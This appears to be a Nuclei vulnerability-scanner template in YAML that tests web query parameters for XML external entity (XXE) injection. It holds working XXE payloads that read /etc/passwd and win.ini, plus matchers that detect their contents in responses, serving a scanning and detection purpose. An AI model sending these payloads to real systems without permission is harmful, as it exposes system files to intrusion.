52 lines
1.3 KiB
YAML
52 lines
1.3 KiB
YAML
id: generic-xxe
|
|
|
|
info:
|
|
name: Generic XML external entity (XXE)
|
|
author: pwnhxl
|
|
severity: medium
|
|
reference:
|
|
- https://github.com/andresriancho/w3af/blob/master/w3af/plugins/audit/xxe.py
|
|
tags: dast,xxe
|
|
|
|
variables:
|
|
rletter: "{{rand_base(6,'abc')}}"
|
|
|
|
http:
|
|
- pre-condition:
|
|
- type: dsl
|
|
dsl:
|
|
- 'method == "GET"'
|
|
|
|
payloads:
|
|
xxe:
|
|
- '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:///c:/windows/win.ini"> ]><x>&{{rletter}};</x>'
|
|
- '<!DOCTYPE {{rletter}} [ <!ENTITY {{rletter}} SYSTEM "file:////etc/passwd"> ]><x>&{{rletter}};</x>'
|
|
|
|
fuzzing:
|
|
- part: query
|
|
keys-regex:
|
|
- "(.*?)xml(.*?)"
|
|
fuzz:
|
|
- "{{xxe}}"
|
|
|
|
- part: query
|
|
values:
|
|
- "(<!DOCTYPE|<?xml|%3C!DOCTYPE|%3C%3Fxml)(.*?)>"
|
|
fuzz:
|
|
- "{{xxe}}"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: regex
|
|
name: linux
|
|
part: body
|
|
regex:
|
|
- 'root:.*?:[0-9]*:[0-9]*:'
|
|
|
|
- type: word
|
|
name: windows
|
|
part: body
|
|
words:
|
|
- 'for 16-bit app support'
|
|
# digest: 490a00463044022057ed734a899a6e84282567122e7cbd55d596db47869a9f1079fdda8222765cdd02206129d4a12c906388ae43c37e4048a1913371fc637748eaaefc1356dbae82d139:922c64590222798bb761d5b6d8e72950 |